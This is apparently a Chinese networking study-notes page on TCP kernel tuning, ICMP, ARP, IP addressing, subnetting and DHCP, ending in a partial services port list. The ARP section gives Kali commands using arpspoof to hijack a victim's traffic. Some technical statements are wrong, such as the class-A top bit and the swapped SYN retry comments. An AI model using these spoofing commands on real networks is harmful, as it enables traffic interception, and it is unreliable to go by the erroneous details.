# 套接字由本端要求关闭,规定保持在FIN-WAIT-2状态的时间,默认值是60秒
net.ipv4.tcp_fin_timeout = 2

# 提示:reuse和recycle这两个参数可以防止生产环境下Web、Squid等业务服务器time_wait网络状态数量过多
# 开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认0
net.ipv4.tcp_tw_reuse = 1
# 开启TCP连接中TIME-WAIT sockets的快速回收,默认0
net.ipv4.tcp_tw_recycle = 1

# 开启SYN Cookies功能。当出现SYN等待队列溢出时,启用Cookies来处理,可防范少量SYN攻击
net.ipv4.tcp_syncookies = 1

# 当keepalive启用时,TCP发送keepalive消息的频率。单位秒
net.ipv4.tcp_keepalive_time = 600

# 设定允许系统打开的端口范围,即用于向外连接的端口范围
net.ipv4.ip_local_port_range = 2000 65000

# SYN队列的长度,即半连接队列长度,默认为1024,建议加大队列的长度为8192或更多,这样可以容纳更多等待连接的网络连接数。 该参数为服务器端用于记录那些尚未收到客户端确认信息的连接请求最大值
net.ipv4.tcp_max_syn_backlog = 16384

# 系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数值,TIME_WAIT套接字将立刻被清除并打印警告信息。 默认为180000,对于Apache、Nginx等服务器来说可以将其调低一点,如改为5000~30000,避免因过多的TIME_WAIT套接字使Web服务器变慢
net.ipv4.tcp_max_tw_buckets = 36000

# 路由缓存刷新频率,当一个路由失败后多长时间跳到另一个路由,默认是300
net.ipv4.route.gc_timeout = 100

# 内核放弃连接之前发送SYN+ACK包的数量,默认5
net.ipv4.tcp_syn_retries = 1
# 在内核放弃建立连接之前发送SYN包的数量,默认6
net.ipv4.tcp_synack_retries = 1

# 系统所能处理不属于任何进程的TCP sockets最大数量(主动关闭端发送了FIN后转到FIN_WAIT_1,这时TCP连接就不属于某个进程了)。假如超过这个数量,那么不属于任何进程的连接会被立即reset,并同时显示警告信息。之所以要设定这个限制,纯粹为了抵御那些简单的 DoS 攻击﹐千万不要依赖这个或是人为的降低这个限制,默认8192
net.ipv4.tcp_max_orphans = 16384

# 同时发起的TCP的最大连接数,即全连接队列长度,在高并发请求中,可能会导致链接超时或重传,一般结合并发请求数来调大此值,默认128
net.core.somaxconn = 16384

# 当每个网络接口接收数据包的速率比内核处理这些包的速率快时,允许发送到队列的数据包最大数,默认1000
net.core.netdev_max_backlog = 16384

以上参数在 /proc/sys/net/ipv4 路径下

UDP

udp 包头结构

网络层

ICMP

ICMP 报文在 IP 报文内部:

icmp 包头结构:


  • 类型:一个 8 位类型字段,表示 ICMP 数据包类型
  • 代码:一个 8 位代码域,表示指定类型中的一个功能。如果一个类型中只有一种功能,代码域置为 0
  • 校验和:校验整个 ICMP 报文段,提供额外的可靠性

ICMP 协议是为了辅助 IP 协议而被制造出来,ICMP 分担完善了 IP 的一部分功能。
ICMP 的功能分为两类:差错通知信息查询,具体由 8 位的类型字段决定,以下是具体各种功能:

目的不可达(Destination Unreachable)

type:destination-unreachable,3

1
2
3
4
5
6
7
code:0 - 15

# 0:目标网络不可达
# 1:目标主机不可达
# 2:目标协议不可达
# 3:目标端口不可达
# ...

超时(Time Exceeded)

type:time-exceeded,11

1
2
3
4
code:0、1

# 0:在数据报传输期间生存时间TTL为0;传输过程中超时
# 1:在数据报组装期间生存时间TTL为0;一个IP数据报可能会因为过大而被分片,然后在目的主机侧把所有的分片重组。如果主机迟迟没有等到所有的分片报文,就会向源发送方发送一个ICMP超时报文,Code为1,表示分片重组超时了

参数错误报文(Parameter Problem)

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Type | Code | Checksum |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Pointer | unused |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Internet Header + 64 bits of Original Data Datagram |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

type:parameter-problem,12

1
2
3
4
code:0、1

# 0:IP数据报头的参数错误,Pointer表示错误的字节位置
# 1:缺少必需的选项

源冷却(Source Quench)

type:source-quench,4

code:0,路由器在处理报文时会有一个缓存队列。如果超过最大缓存队列,将无法处理,从而丢弃报文。并向源发送方发一个 ICMP 源冷却报文,告诉对方:“嘿,我这里客满了,你迟点再来。”

重定向(Redirect)

type:redirect,5

1
2
3
4
5
6
code:0 - 3

# 0:网络重定向
# 1:主机重定向
# 2:服务类型和网络重定向
# 3:服务类型和主机重定向

请求回显或回显应答(Echo or Echo Reply)

type:echo-request,8,请求回显,ping 请求;

code:0,因为只有这一个功能,所以code只为0

type:echo-reply,0,回显应答,ping 应答;

code:0,因为只有这一个功能,所以code只为0

时间戳或时间戳请求(Timestamp or Timestamp Reply)

信息请求或信息响应(Info Request or Info Reply)

地址掩码请求 和 地址掩码响应(Address Mask Request or Address Mask Reply)

ARP

ARP(Address Resolution Protocol)即地址解析协议, 用于实现从 IP 地址到 MAC 地址的映射,即询问目标 IP 对应的 MAC 地址。

ARP 的工作过程:

通过广播可以获取目标 ip 的 MAC 地址,拿到地址后,源主机和目标主机会缓存对方的 ip 和 MAC 地址。

显然这种方式是不安全的,例如 pc1 想上网,上网得通过路由器,那就得拿到路由器的 MAC 地址,于是 pc1 就发送广播请求路由器的 MAC 地址,同一个局域网下 pc2 冒充路由器把自己的 MAC 地址回复给 pc1,如果 pc1 不做校验就信以为真,那之后 pc1 所有的网路请求都找 pc2,pc2 帮它转发到真正的路由器。

范例:kali 系统实现 arp 欺骗上网流量劫持

1
2
3
4
5
6
7
8
#启动路由转发功能
[root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward
#安装包
[root@kali ~]# apt-get install dsniff
#欺骗目标主机,本机是网关
[root@kali ~]# arpspoof -i eth0 -t 被劫持的目标主机IP 网关IP
#欺骗网关,本机是目标主机
[root@kali ~]# arpspoof -i eth0 -t 网关IP 被劫持的目标主机IP

Gratuitous ARP

Gratuitous ARP 也称为免费 ARP,无故 ARP。Gratuitous ARP 不同于一般的 ARP 请求,它并非期待得到 ip 对应的 mac 地址,而是当主机启动的时候,将发送一个 Gratuitous arp 请求,即请求自己的 ip 地址的 mac 地址。具体表现形式为自问自答。Wireshark 监听 vmware 虚拟机启动可以抓到相应的包。

RARP

ARP 是将 ip 转成 MAC,RARP 是将 MAC 转成 ip。在网吧中会用到,网吧中的电脑是没有硬盘的,操作系统、软件、数据等都放在服务器中,每次开机都先通过网卡把初始化的操作系统下载下来放到内存中,再从内存中加载。加载的过程中使用 RARP 获取 ip,过程如下:

  1. pc 将自己的 mac 发给服务器
  2. 服务器中预设了 arp 表,查询表,将对应的 ip 发给 pc

IP 包头

  • 版本:目前主流是 4 版本
  • 首部长度:固定的 20 个字节+可选字段的长度
  • 区分服务:服务类型,ToS,Type of Service,只有当网络设备能够识别 ToS 时,ToS 字段才有意义,我的笔记本上 Wireshark 抓包就没有这个字段
  • 总长度:总长度,包括数据部分
  • 标识:数据比较大,传输层会分段后再发给网络层,分段后的数据标识都是一样的。同时还是计数器,每发送一个报文,该值+1
  • 标志:占 3 位,目前只有后两位有意义
    • DF: Don’t Fragment 中间的一位,只有当 DF=0 时才允许分片
    • MF: More Fragment 最后一位,MF=1 表示后面还有分片,MF=0 表示最后一个分片 IP PDU 报头
  • 片漂移:该分片在原分组中的相对位置.片偏移以 8 个字节为偏移单位
  • 生存时间:记为 TTL (Time To Live) 报文在网络中可通过的路由器数的最大值,TTL 字段是由发送端初始设置一个 8 bit 字段。Linux 默认 64,windows 默认 128
    • /proc/sys/net/ipv4/ip_default_ttl 中可以改
  • 协议:指定上层协议的类型,1 表示为 ICMP 协议, 2 表示为 IGMP 协议, 6 表示为 TCP 协议, 17 表示为 UDP 协议
  • 首部校验和:tcp 的包头也有这个校验,这是有点重复,所以在 ipv6 中就没有这个字段了
  • 源地址和目的地址:都各占 4 字节,分别记录源地址和目的逻辑地址,也就是 ip 地址

主机到主机的包传递完整过程

第 12 天第五节课

四步走:路由(下面讲)、arp、三次握手、数据传输

IP

ip 地址是逻辑地址,MAC 地址是物理地址。物理地址唯一但不好管理,逻辑地址唯一且好管理。

IP 地址组成

两部分组成:网络 ID 和 主机 ID

类似 10.0.0.1 这种用点分割成 4 段的是 ipv4 的 ip,可以用一个 32 位二进制的数来表示,每段对应 8 位。

IP 地址分类

五类,A 类、B 类、C 类、D 类、E 类。E 类保留,D 类不能配置,所以我们能配置的是 A、B、C 三类。

  • A 类:网络 ID 位是最高 8 位,主机 ID 是 24 位低位。规定最高位是 1,所以 A 类只剩下 2^7(128)个网段(网络),也就是 0-127,但是 0 保留不能用,表示未知地址,127 用于回环网卡,所以 ipv4 中处于 A 类网络的一共有 126 个网段,1.x.x.x-126.x.x.x。所以 10.x.x.x、126.x.x.x 这种一看就是 A 类,而 172.x.x.x 这种大于 126,一看就不是 A 类网络
  • B 类:网络 ID 位是最高 16 位,主机 ID 是 16 位低位。规定最高两位是 10,所有 B 类网络有 2^14 个网段,128.0.x.x-191.255.x.x
  • C 类:网络 ID 位是最高 24 位,主机 ID 是 8 位低位。规定前三位是 110,所以 C 类网络中有 2^21 个网段,192.0.0.x-223.255.255.x
  • D 类:组播、多播。224-239
  • E 类:保留未使用,240-255

这么分类简单粗暴,缺点也很明显,容易浪费,现在 ipv4 地址已经消耗殆尽了。

分配 ipv4 的权利在美国手里,早期甚至直接给一个大学分配一个网段,这个网段的地址其他人就申请不到了,其实根本用不了,用不了的就浪费掉了。

无类

就是不按照 ABCD 的方式划分,网络 ID 想划几位就几位,按需划分,不固定非得是 8 位、16 位、24 位等等

公有和私有 IP 地址

公共 IP 地址:互联网上设备拥有的唯一地址。

私有 IP 地址:不直接用于互联网,通常在局域网中使用。

特殊地址

  • 0.0.0.0:不是一个真正意义上的 IP 地址。它表示 所有不清楚的主机和目的网络

  • 255.255.255.255:限制广播地址,对本机来说,这个地址指本网段内(同一广播域)的所有主机

  • 127.0.0.1 ~ 127.255.255.254

    本机回环地址,主要用于测试。在传输介质上永远不应该出现目的地址为“127.0.0.1”的 数据包

  • 224.0.0.0 到 239.255.255.255

    组播地址,224.0.0.1 特指所有主机,224.0.0.2 特指所有路由器。224.0.0.5 指 OSPF 路由器,地址多用于一些特定的程序以及多媒体程序

    前 4 比特固定为 1110,后 28 比特是组播组地址标识(ID)

    如果想接收组播,主机必须加入到对应的组播组中,TCP/IP的套接字(socket) API 提供了相应的方法。当一台主机加入一个组播组后,它既有一个本机的 IP 地址,同时也有一个组播组的 D 类 IP 地址,对于目的地址是这两个地址的 IP 数据报,这台主机都会接收。

    一台主机可以随时加入或离开一个组播组,也可以同时属于多个组播组。一台主机可以向任何一个组播组发送 IP 组播数据报,即使这台主机不是这个组播组的成员。

    由于 D 类 IP 地址有 268*435*456 个,因此 IP 协议允许有 2 亿 6 干多万个组播,可以提供非常丰富的组播服务

  • 169.254.x.x

    如果 Windows 主机使用了 DHCP 自动分配 IP 地址,而又无法从 DHCP 服务器获取地址,系统会为主机分配这样地址

保留地址

用 32 位二进制表示的 ip,主机 ID 位全是 0 和全是 1 的情况,保留。例如 172.16.0.0 网段中,172.16.0.0 和 172.16.255.255 是保留地址。

子网掩码 netmask

CIDR:无类域间路由,目前的路由已不再按 A、B、C 类划分网段,而是可以指定网段的范围。

CIDR 表示法:IP/网络 ID 位数,例如:172.16.0.100/16

netmask 子网掩码:32 位或 128 位(IPv6)的二进制数字,和 IP 成对使用,用来表示前几位是网络 ID,网络 ID 位全是 1,主机位全是 0。例如 255.255.255.0,前 24 位是网络 ID。

判断对方主机是否在同一网段:

用自已的子网掩码分别和自已的 IP 及对方的 IP 相与,比较结果,相同则同一网段,不同则不同网段。不同的网段是不能通信的。

划分子网 Subnet

划分子网:将一个大的网络(主机数多)划分成多个小的网络(主机数少),网络 ID 位向主机 ID 位借位,主机 ID 位数变少,网络 ID 位数变多。

优化 IP 地址分配

合并超网:将多个小网络合并成一个大网,主机 ID 位向网络位借位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 8个C类网段
220.78.168.0/24
220.78.169.0/24
220.78.170.0/24
220.78.171.0/24
220.78.172.0/24
220.78.173.0/24
220.78.174.0/24
220.78.175.0/24
220.78.10101 000.0 220.78.168.0/24
220.78.10101 001.0 220.78.169.0/24
220.78.10101 010.0 220.78.170.0/24
......
220.78.10101 110.0 220.78.174.0/24
220.78.10101 111.0 220.78.175.0/24

# 合并成
220.78.168.0/21

跨网络通信

跨网络通信:路由、选择路径

路由分类:主机路由、网络路由、默认路由

动态主机配置协议 DHCP

自定获取 IP 地址,需要在网络中有 DHCP 服务器,服务器上有地址池,维护很多地址。自动获取 IP 地址步骤分四步:discover­ > offer­ > request­ > ack(nak)

  1. DHCP DISCOVER: 寻找服务器,向网络中发送 DHCP DISCOVER 协议广播(来源地址:0.0.0.0),请求 DHCP 给分配 IP 地址。
  2. DHCP OFFER:分配 IP 地址,DHCP 服务器接收到请求,返回 IP 地址,同时在地址池中标记该 IP 地址。
  3. DHCP REQUEST:请求使用,如果客户端收到网路上多台 DHCP 服务器的回应﹐只会挑选其中一个 DHCP Offer(通常是最先抵达的那个)并且向网路发送一个 DHCP Request 广播,告诉所有 DHCP 服务器它将指定接受哪一台服务器提供的 IP 位址,除 DHCP 客户机选中的服务器外,其他的 DHCP 服务器都将收回曾提供的 IP 地址。
    1. 同时,客户端还会发送一个 ARP 封包, 查询网路上有没有其他机器使用该 IP 地址, 如果发现该 IP 被占用, 客户端会发送一个 DHCP Decline 封包给 DHCP 服务器, 拒绝接受其 DHCP Offer,并重新开始发送 DHCP Discover 信息。
  4. DHCP ACK IP:地址分配确认,DHCP 服务器收到 DHCP Request 请求信息之后,发送 ACK 确认确认 IP 地址的正式生效,然后客户单便将其 TCP/IP 协议与网卡绑定

DHCP 服务器向 DHCP 客户机出租的 IP 地址一般都有一个租借期限, 期满后 DHCP 服务器便会收回出租的 IP 地址,如果 DHCP 客户机要延长其 IP 租约, 则必须更新其 IP 租约:租赁时间到达 50%时续租,如果 DHCP Server 没有回应,等到租期的 7/8 时,主机会再发送一次广播请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
#      Jerome AERTS  March 2006
commplex-main 5000/tcp
commplex-main 5000/udp
commplex-link 5001/tcp
commplex-link 5001/udp
rfe 5002/tcp radio free ethernet
rfe 5002/udp radio free ethernet
fmpro-internal 5003/tcp FileMaker, Inc. - Proprietary transport
fmpro-internal 5003/udp FileMaker, Inc. - Proprietary name binding
# Clay Maeckel
avt-profile-1 5004/tcp RTP media data [RFC 3551, RFC 4571]
avt-profile-1 5004/udp RTP media data [RFC 3551]
avt-profile-1 5004/dccp RTP media data [RFC 3551, RFC-ietf-dccp-rtp-07.txt]
avt-profile-2 5005/tcp RTP control protocol [RFC 3551, RFC 4571]
avt-profile-2 5005/udp RTP control protocol [RFC 3551]
avt-profile-2 5005/dccp RTP control protocol [RFC 3551, RFC-ietf-dccp-rtp-07.txt]
wsm-server 5006/tcp wsm server
wsm-server 5006/udp wsm server
wsm-server-ssl 5007/tcp wsm server ssl
wsm-server-ssl 5007/udp wsm server ssl
# Adam Berk
synapsis-edge 5008/tcp Synapsis EDGE
synapsis-edge 5008/udp Synapsis EDGE
# Paul Schilling
winfs 5009/tcp Microsoft Windows Filesystem
winfs 5009/udp Microsoft Windows Filesystem
# Simon Skaria January 2006
telelpathstart 5010/tcp TelepathStart
telelpathstart 5010/udp TelepathStart
telelpathattack 5011/tcp TelepathAttack
telelpathattack 5011/udp TelepathAttack
# Helmuth Breitenfellner
nsp 5012/tcp NetOnTap Service
nsp 5012/udp NetOnTap Service
# Kim Hancock 24 October 2007
fmpro-v6 5013/tcp FileMaker, Inc. - Proprietary transport
fmpro-v6 5013/udp FileMaker, Inc. - Proprietary transport
# Alex Chen 01 August 2007
# 5014/tcp Reserved
onpsocket 5014/udp Overlay Network Protocol
# Roger Matthias 24 August 2009
# 5015-5019 Unassigned
zenginkyo-1 5020/tcp zenginkyo-1
zenginkyo-1 5020/udp zenginkyo-1
zenginkyo-2 5021/tcp zenginkyo-2
zenginkyo-2 5021/udp zenginkyo-2
# Masashi Suzaki
mice 5022/tcp mice server
mice 5022/udp mice server
# Alan Clifford
htuilsrv 5023/tcp Htuil Server for PLD2
htuilsrv 5023/udp Htuil Server for PLD2
# Dennis Reinhardt
scpi-telnet 5024/tcp SCPI-TELNET
scpi-telnet 5024/udp SCPI-TELNET
scpi-raw 5025/tcp SCPI-RAW
scpi-raw 5025/udp SCPI-RAW
# Ryan Columbus October 2002
strexec-d 5026/tcp Storix I/O daemon (data)
strexec-d 5026/udp Storix I/O daemon (data)
strexec-s 5027/tcp Storix I/O daemon (stat)
strexec-s 5027/udp Storix I/O daemon (stat)
# Anthony Johnson August 2005
qvr 5028/tcp Quiqum Virtual Relais
# Philipp Marcel Albrecht 06 July 2009
# 5028/udp Reserved
infobright 5029/tcp Infobright Database Server
infobright 5029/udp Infobright Database Server
# Mark Windrim 23 July 2009
surfpass 5030/tcp SurfPass
surfpass 5030/udp SurfPass
# Olivier Guezenec December 2006
# 5031-5041 Unassigned
asnaacceler8db 5042/tcp asnaacceler8db
asnaacceler8db 5042/udp asnaacceler8db
# Walter Goodwin
swxadmin 5043/tcp ShopWorX Administration
swxadmin 5043/udp ShopWorX Administration
# Don W. Fitzpatrick August 2005
lxi-evntsvc 5044/tcp LXI Event Service
lxi-evntsvc 5044/udp LXI Event Service
# Nick Barendt August 2005
# 5045-5048 Unassigned
ivocalize 5049/tcp iVocalize Web Conference
ivocalize 5049/udp iVocalize Web Conference
# Bryan Vergato May 2006
mmcc 5050/tcp multimedia conference control tool
mmcc 5050/udp multimedia conference control tool
# Steve Casner
ita-agent 5051/tcp ITA Agent
ita-agent 5051/udp ITA Agent
ita-manager 5052/tcp ITA Manager
ita-manager 5052/udp ITA Manager
# Don Merrell
rlm 5053/tcp RLM License Server
# Matt Christiano 28 July 2008
# 5053/udp Reserved
rlm-admin 5054/tcp RLM administrative interface
# Matt Christiano 28 July 2008
# 5054/udp Reserved
unot 5055/tcp UNOT
unot 5055/udp UNOT
# Gordon Mohr
intecom-ps1 5056/tcp Intecom Pointspan 1
intecom-ps1 5056/udp Intecom Pointspan 1
intecom-ps2 5057/tcp Intecom Pointspan 2
intecom-ps2 5057/udp Intecom Pointspan 2
# David Meermans
# 5058/tcp Reserved
locus-disc 5058/udp Locus Discovery
# Alan King, Enabling Technology Pty. Ltd. 13 August 2009
sds 5059/tcp SIP Directory Services
sds 5059/udp SIP Directory Services
# Arthur Wilton March 2006
sip 5060/tcp SIP
sip 5060/udp SIP
sip-tls 5061/tcp SIP-TLS
sip-tls 5061/udp SIP-TLS
# Henning Schulzrinne
# 5062-5063 Unassigned
ca-1 5064/tcp Channel Access 1
ca-1 5064/udp Channel Access 1
ca-2 5065/tcp Channel Access 2
ca-2 5065/udp Channel Access 2
# Jeffrey Hill August 2002
stanag-5066 5066/tcp STANAG-5066-SUBNET-INTF
stanag-5066 5066/udp STANAG-5066-SUBNET-INTF
# Donald G. Kallgren
#
authentx 5067/tcp Authentx Service
authentx 5067/udp Authentx Service
# Alberto Fernandez January 2006
bitforestsrv 5068/tcp Bitforest Data Service
# Ville-Pekka Vahteala 05 June 2008
# 5068/udp Reserved
i-net-2000-npr 5069/tcp I/Net 2000-NPR
i-net-2000-npr 5069/udp I/Net 2000-NPR
# Chris Megede
vtsas 5070/tcp VersaTrans Server Agent Service
vtsas 5070/udp VersaTrans Server Agent Service
# Christopher Miller February 2006
powerschool 5071/tcp PowerSchool
powerschool 5071/udp PowerSchool
# Greg Porter
ayiya 5072/tcp Anything In Anything
ayiya 5072/udp Anything In Anything
# Jeroen Massar August 2005
tag-pm 5073/tcp Advantage Group Port Mgr
tag-pm 5073/udp Advantage Group Port Mgr
# James Goddard August 2005
alesquery 5074/tcp ALES Query
alesquery 5074/udp ALES Query
# Tim Maloney August 2005
# 5075-5078 Unassigned
# 5079/tcp Reserved
cp-spxrpts 5079/udp Cambridge Pixel SPx Reports
# Richard Warren 17 September 2008
onscreen 5080/tcp OnScreen Data Collection Service
onscreen 5080/udp OnScreen Data Collection Service
# Christopher Miller 14 January 2008
sdl-ets 5081/tcp SDL - Ent Trans Server
sdl-ets 5081/udp SDL - Ent Trans Server
# Marc Morin April 2002
qcp 5082/tcp Qpur Communication Protocol
qcp 5082/udp Qpur Communication Protocol
qfp 5083/tcp Qpur File Protocol
qfp 5083/udp Qpur File Protocol
# Joachim Kluemper 19 March 2008
llrp 5084/tcp EPCglobal Low-Level Reader Protocol
llrp 5084/udp EPCglobal Low-Level Reader Protocol
encrypted-llrp 5085/tcp EPCglobal Encrypted LLRP
encrypted-llrp 5085/udp EPCglobal Encrypted LLRP
# Margaret Wasserman November 2006
# 5086-5089 Unassigned
car 5090/sctp Candidate AR
cxtp 5091/sctp Context Transfer Protocol
# RFC 4065 - July 2005
# 5092/tcp Reserved
magpie 5092/udp Magpie Binary
# Phil Maker 18 June 2008
sentinel-lm 5093/tcp Sentinel LM
sentinel-lm 5093/udp Sentinel LM
# Derick Snyder
# 5094-5098 Unassigned
sentlm-srv2srv 5099/tcp SentLM Srv2Srv
sentlm-srv2srv 5099/udp SentLM Srv2Srv
# Derick Snyder
socalia 5100/tcp Socalia service mux
socalia 5100/udp Socalia service mux
# Alberto Raydan August 2005
talarian-tcp 5101/tcp Talarian_TCP
talarian-udp 5101/udp Talarian_UDP
# Leo Martins
oms-nonsecure 5102/tcp Oracle OMS non-secure
oms-nonsecure 5102/udp Oracle OMS non-secure
# Todd Guay August 2005
# 5103-5110 Unassigned
taep-as-svc 5111/tcp TAEP AS service
taep-as-svc 5111/udp TAEP AS service
# Liu Changchun 05 November 2008
pm-cmdsvr 5112/tcp PeerMe Msg Cmd Service
pm-cmdsvr 5112/udp PeerMe Msg Cmd Service
# Marcos Della August 2005
ni-conf 5113/tcp NI Device Configuration Protocol
ni-dc 5113/udp NI Device Discovery and Configuration Protocol
# Ioan Cornea 03 August 2009
ev-services 5114/tcp Enterprise Vault Services
# Richard Jones 26 May 2009
# 5114/udp Reserved
autobuild 5115/tcp Symantec Autobuild Service
# David Warden 17 November 2008
# 5115/udp Reserved
# 5116/tcp Reserved
emb-proj-cmd 5116/udp EPSON Projecter Image Transfer
# SEIKO EPSON 17 November 2008
gradecam 5117/tcp GradeCam Image Processing
# Robert Porter 24 September 2009
